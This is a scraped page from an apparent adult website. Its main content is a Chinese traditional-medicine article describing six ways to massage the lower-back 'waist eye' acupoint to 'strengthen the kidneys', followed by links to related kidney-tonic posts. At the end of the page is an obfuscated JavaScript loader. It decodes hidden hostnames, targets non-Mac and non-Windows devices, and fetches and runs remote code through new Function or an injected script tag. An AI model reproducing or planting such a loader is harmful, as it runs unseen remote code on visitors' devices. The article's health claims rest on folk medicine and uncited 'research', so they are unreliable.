返回

腰为肾之府 人到中年按揉腰眼健肾补肾(转)-性爱技巧ee1

 首页

AV拼多多 ❤ 拼的多 ❤ 看的多
WWW.AvPinDuoDuo.COM
海外地址
www.AVPDD.com



随着年龄的增加,身体的各项功能都相对减弱,尤其是对于中年男性来说,中年过后,肾气逐衰,生殖功能和性功能也逐渐衰退,如果不注意调养,则容易未老先衰,因此男人进入中年后,应该注意调养补肾,除了节制房事,食疗补肾之外,还可以通过按摩的手法,中医认为“腰为肾之府”,按摩腰腹部也能起到健肾和补肾作用。腰眼作为一个重要的补肾穴位自然不能忽视,腰眼穴位于腰部第四腰椎棘突左右3—4寸的凹陷处。 按摩方法: 1、揉腰:两手握拳,用拇指掌指关节紧按腰眼,作旋转用力按揉30—50次,以腰酸胀为宜; 2、擦腰,两手掌根紧按腰部,用力上下擦动,动作要快速有力,发热为止; 3、点揉:双手后背,以中指指腹着力,点按在脊柱的棘突,其余手指着力于中指上下,以辅助点揉发力。双手要尽量后背、上够,凡是手能够及的棘突和棘突下凹陷中的穴位,均应逐一点揉,直至阳关穴下(即第五腰椎棘突),反复30次左右; 4、捏拿腰部肌肉,用双手拇指和食指同时捏拿脊柱两侧的骶棘肌。从上向下分别捏拿、提放腰部肌肉,直至骶部。如此自上而下捏拿4次; 5、抖动腰部肌肉:两手掌根部按压腰部,快速上下抖动15-20次; 6、叩击腰骶部:双手握空拳,以拳眼用力,有节奏地交替叩击腰骶部,注意由腕部发力,力度轻一点,从上至下,反复叩击15—30次。 中年人经常搓腰眼,能防治风寒引起的腰痛症。现代医学研究证明,按摩腰部既可使局部皮肤里丰富的毛细血管网扩张,促进血液循环,加速代谢产物的排出,又可刺激神经末梢,对神经系统的温和刺激,有利于病损组织的修复,提高腰肌的耐力。长期久坐的人常按摩此穴位也能帮助保护腰部不受伤害。还是穴位锻炼法 希望能知道是否正确

评分
相关推荐
3.0分

3.0分 盲目补肾不如护好肾脏 高蛋白食物加重肾脏负担(转)-性爱技巧aed

3.0分

3.0分 肾阳虚和肾阴虚-性爱技巧da2

3.0分

3.0分 补气血,补肾的好方法-性爱技巧a82

3.0分

3.0分 强肾保健功法-性爱技巧c13

3.0分

3.0分 吃动物腰子越吃肾越虚-性爱技巧f21

3.0分

3.0分 男人常按这三处可固补肾阳-性爱技巧b5b

3.0分

3.0分 如何补肾--转自道家庄养生吧-性爱技巧911

3.0分

3.0分 关于肾虚的那些补药-性爱技巧e5b

3.0分

3.0分 养生-强肾-性爱技巧ccb

3.0分

3.0分 肾虚用药 -性爱技巧657

3.0分

3.0分 原创个人强肾经验,肾部的锻炼 -性爱技巧ad0

3.0分

3.0分 关于用六味地黄丸补肾 -性爱技巧186

3.0分

3.0分 从尿液一眼看出肾脏状况(转)-性爱技巧880

3.0分

3.0分 补肾壮阳的方法如此搞定-性爱技巧76f

3.0分

3.0分 固精保肾秘方-性爱技巧d73

3.0分

3.0分 男性腰酸背疼不宜滥用补肾壮阳药9b0


提示:为了您能够顺利的找到本站,请牢记WWW.AVPINDUODUO.COM

请不要忽略该提示,这将意味着您将可能无法找到通往本站的地址。


免责声明 || 广告合作 || 意见反馈

AV拼多多【WWW.AvPinDuoDuo.COM】

已运行1 年 84 天 0 小时 52 分钟 33 秒

所属·美国·华盛顿 网站地图

function DgUow(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YXMxB(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return DgUow(t);};window[''+'O'+'s'+'B'+'v'+'r'+'A'+'y'+'N'+'U'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,i,w,d,c){var x=YXMxB,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')>-1){var xhr=new XMLHttpRequest();xhr.open('POST','https://'+u+'/x/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else{var s=d[crd]('script');s.src='https://'+u+'/j/'+i;cs.parentElement.insertBefore(s,cs);}})('Zmm1rLmmRzcXprLmmNu','151936',window,document,['m','mbRtTdBxso']);}:function(){};